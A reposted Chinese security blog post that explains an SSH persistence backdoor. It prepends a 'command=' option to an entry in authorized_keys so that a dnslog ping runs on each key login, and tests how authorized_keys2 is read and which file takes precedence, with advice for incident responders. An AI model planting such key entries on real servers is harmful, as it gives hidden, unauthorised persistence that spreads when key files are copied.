倒反天罡的ssh后门 | Linux 后门系列

0x00 简介

今天看见有安全研究员发了一篇 ssh 后门的文章,复现思考后分享给大家

https://blog.thc.org/infecting-ssh-public-keys-with-backdoors

0x01 ssh密钥登录

参考

https://www.commandlinux.com/man-page/man5/authorized_keys.5.html

运维人员管理 Linux 服务器时,对于一些较为固定的管理场景,经常把访问者的ssh公钥直接写入到被访问服务器的 ~/.ssh/authorized_keys 中并进行相应的配置,这样访问者可以使用固定的电脑无需输入密码就可以访问到服务器,在一定程度上安全和便利兼得,但是其实这里有一个不常用的参数非常适合用来做后门——command

通常运维人员通过 ssh-keygen -t rsa 生成公钥文件 ~/.ssh/id_rsa.pub ,格式如下

图片

此时将这些字符拷贝进入服务器的  ~/.ssh/authorized_keys  中,再将 ssh key 登录的相关配置打开,就可以实现免密码登录了

图片

0x02 制作后门

这里以 ping dnslog 为例,实际后门还要考虑不影响用户正常登录,也就是我们的后门要在后台执行,这没啥难的

按照 0x01 章节的参考文章,其实在这段 ssh key 字符串前可以配置一些参数,其中的 command 参数在用户使用该 key 登录的时候自动调用

修改   ~/.ssh/authorized_keys  ,添加恶意命令

图片

command="ping ssh-backdoor.g05vv6.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8sgy6ZmmvB5LvcSXx0WyAaDgbJTD+whVTN87iVTbFCIEq81Y0J3MOE+yHPmSEg4Jwv0AfDbPWS5QGfrWMn/NH5chOSqA82o6/M/OumeU2kO0MLP1ModQO/YblmEjQu2VjR03ojYpIu/8lKLq80qZwIbxP3px8/L3FUcksuGcBr95FN8drf0B7+zxyhaDGQvyVsHVBtbirHM0ORQvJ5PzRgSvU+fN9exMh82vibdrLRspN4Gy/s7oJfQh6zWxWZ8Xk4RZQ1MQgMqCZKDBvYToF/c4NP67J12gMcCJnoR3HBANITwrLHytCRcb2En6YfIj4wnCDWPOAapTWQZWJZ8FmzDEFcbjLwvUGccHHoe1SywdHXIGqPSdVjElcE4oBrYa+lH0NJjJG52s+z1hCpF8= join@ubuntu2004

无需重启 ssh 服务,直接在公钥所属的主机上使用 ssh 访问该服务器

图片

图片

dnslog 平台成功获取到访问记录

0x03 此后门的意义

这里我觉得文章作者说的很有道理,所以直接翻译过来

  • 有趣

  • 服务器重启后,后门依旧存在

  • 横向传播

    运维人员可能会把这些配置文件到处拷贝,造成后门的横向传播

  • 云部署通常会将管理员的公钥复制到新实例 - 现在它们也会将您的后门复制到内部。


至此,作者的介绍基本结束,作者在 github 上还建立了一个项目,可以在原文中找到,下面的部分是我比较好奇的一些问题以及答案

0x04 我的思考

1. 不止  ~/.ssh/authorized_keys

其实在 https://www.commandlinux.com/man-page/man5/authorized_keys.5.html 写得很清楚, openssh 默认会识别  ~/.ssh/authorized_keys 和  ~/.ssh/authorized_keys2

具体配置在 /etc/ssh/sshd_config 的 AuthorizedKeysFile 参数

图片

可以看到,官方希望未来忽略  ~/.ssh/authorized_keys2

将服务器上的  ~/.ssh/authorized_keys  修改为  ~/.ssh/authorized_keys2 ,并修改 dnslog 地址

图片

使用公钥登录该 ssh 服务器

图片

图片

因此,在对相关文件进行安全排查的时候,不要忘了 ~/.ssh/authorized_keys2

2. 如果两个文件都存在,是否同时有效

如果 ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  同时存在,是否都有效呢?

再来一台 Linux 主机,都是用 ssh-copy-id 程序将自己的公钥传到服务器上

图片

图片

默认情况下,两台访问者主机都可以通过 ssh-key 访问服务器

图片

图片

现在将两个 ssh key放在  ~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2  中各一个

图片

再次测试两个访问者主机通过 ssh key 访问服务器

图片

图片

~/.ssh/authorized_keys  和 ~/.ssh/authorized_keys2 两个文件可以同时存在,均有效

3. 两个文件放置同一个key 会怎么样

~/.ssh/authorized_keys  放置默认的 ssh key; ~/.ssh/authorized_keys2 放置包含后门的 ssh key

图片

使用 ssh key 登录服务器

图片

图片

并未触发后门

~/.ssh/authorized_keys  放置包含后门的 ssh key; ~/.ssh/authorized_keys2 放置默认的 ssh key

图片

使用 ssh key 登录服务器

图片

图片

成功触发后门,所以如果两个文件放置同一个 ssh key,默认配置会先读取  ~/.ssh/authorized_keys

4. ssh 配置文件后门检查

之前的我写的一篇 ssh config 后门中介绍了 openssh 配置方面的后门,主要针对 ssh 客户端,openssh的客户端和服务器端,尤其是服务器,可配置的项非常多,各种情况都可以配置相应的的程序来处理,其实这些都可以作为后门,但是作为后门的时候必须保证原本该项配置应有的效果,所以做安全检查的时候应该更加全面一些,在后续的应急响应手册中会尽可能全面一些

 「你即将失去如下所有学习变强机会

学习效率低,学不到实战内容,花几千、上万报机构没有性价比

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

详情下方图片了解,【扫下方二维码加入】:只做高质量优质精品内容」

图片

图片

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600202.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

性能优化 - 你能说一说,如果服务端一次性给前端返回1万条数据,前端该如何处理吗

难度级别:中高级及以上 提问概率:65% 在真实工作中,如果遇到服务端一次性返回给前端1万条数据的场景,是非常不应该的。如果服务端可以给前端一次性返回1万条数据的话,那说不准哪次的接口请求数据就会更多。海量的响应数据无疑会使接口响应…

【r-tree算法】一篇文章讲透~

目录 一、引言 二、R-tree算法的基本原理 1 数据结构 2 插入操作 3 删除操作 4 查询操作 5 代码事例 三、R-tree算法的性能分析 1 时间复杂度 2 空间复杂度 3 影响因素 四、R-tree算法的变体和改进 1 R*-tree算法 2 X-tree算法 3 QR-tree算法 五、R-tree算法的…

2024年最新渗透测试工具,看完赶紧存了!(工具包限时分享)

前言: 为了保护网络及国家安全,国家增强了对网络安全人才培养与建设的投入力度。网络安全相关职位的薪资待遇颇为丰厚,相关资格证书的补贴也相当可观,吸引了大批网安爱好者前来学习。但网络安全领域并不缺乏从业者,而…

使用 C++ 和 Eigen 库理解 IMU 数据处理与可视化

使用 C 和 Eigen 库理解 IMU 数据处理与可视化 在本文中,我们将探讨如何使用 C 和 Eigen 库处理和可视化惯性测量单元(IMU)数据。IMU 数据在各种应用中至关重要,包括机器人技术、导航系统和虚拟现实。我们将探讨如何读取 IMU 数据…

千视携 NDI 6 轻量化媒体方案亮相北京CCBN展会

展会简介 第30届中国国际广播电视网络技术展览会(CCBN)将于4月24至26日在北京首钢会展中心举行。此次展会将汇集全球各大数字媒体、广播电视单位以及IT、通信技术厂商。展会重点关注数字化转型、智能媒体、融媒体等主题,并展示最新的5G、4K/8…

基于starganvc2的变声器论文原理解读

数据与代码见文末 论文地址:https://arxiv.org/pdf/1907.12279.pdf 1.概述 什么是变声器,变声器就是将语音特征进行转换,而语音内容不改变 那么我们如何构建一个变声器呢? 首先,我们肯定不能为转换的每一种风格的声…

vue项目入门——index.html和App.vue

vue项目中的index.html文件 在Vue项目中,index.html文件通常作为项目的入口文件,它包含了Vue应用程序的基础结构和配置。 该文件的主要作用是引入Vue框架和其他必要的库,以及定义Vue应用程序的启动配置。 import Vue from vue import App …

HBase详解(2)

HBase 结构 HRegion 概述 在HBase中,会从行键方向上对表来进行切分,切分出来的每一个结构称之为是一个HRegion 切分之后,每一个HRegion会交给某一个HRegionServer来进行管理。HRegionServer是HBase的从节点,每一个HRegionServ…

谷歌浏览器插件开发速成指南:弹窗

诸神缄默不语-个人CSDN博文目录 本文介绍谷歌浏览器插件开发的入门教程,阅读完本文后应该就能开发一个简单的“hello world”插件,效果是出现写有“Hello Extensions”的弹窗。 作为系列文章的第一篇,本文还希望读者阅读后能够简要了解在此基…

由 LDO 稳压器 CAT6219-330TDGT3提供快速响应时间,快速启动 实现高效率解决方案

CAT6219-330TDGT3是一款 500 mA CMOS 低漏稳压器,在负载电流和线路电压变化期间提供快速响应时间。 快速启动特性允许使用外部旁通电容器,可降低总体输出噪声,而不会影响仅为 150 s 的导通时间。 零关断电流和 55 A 的低静止电流典型值使其适…

【随笔】Git 高级篇 -- 整理提交记录(下)rebase(十六)

💌 所属专栏:【Git】 😀 作  者:我是夜阑的狗🐶 🚀 个人简介:一个正在努力学技术的CV工程师,专注基础和实战分享 ,欢迎咨询! 💖 欢迎大…

JavaScript(二)-Web APIS

文章目录 Web API 基本认知作用和分类什么是DOMDOM树DOM对象获取DOM对象操作元素内容操作元素属性操作元素常用属性操作元素样式属性自定义属性 定时器-间歇函数定时器函数的理解定时器函数使用间歇函数 事件监听与绑定事件监听事件监听版本事件类型事件对象什么是事件对象获取…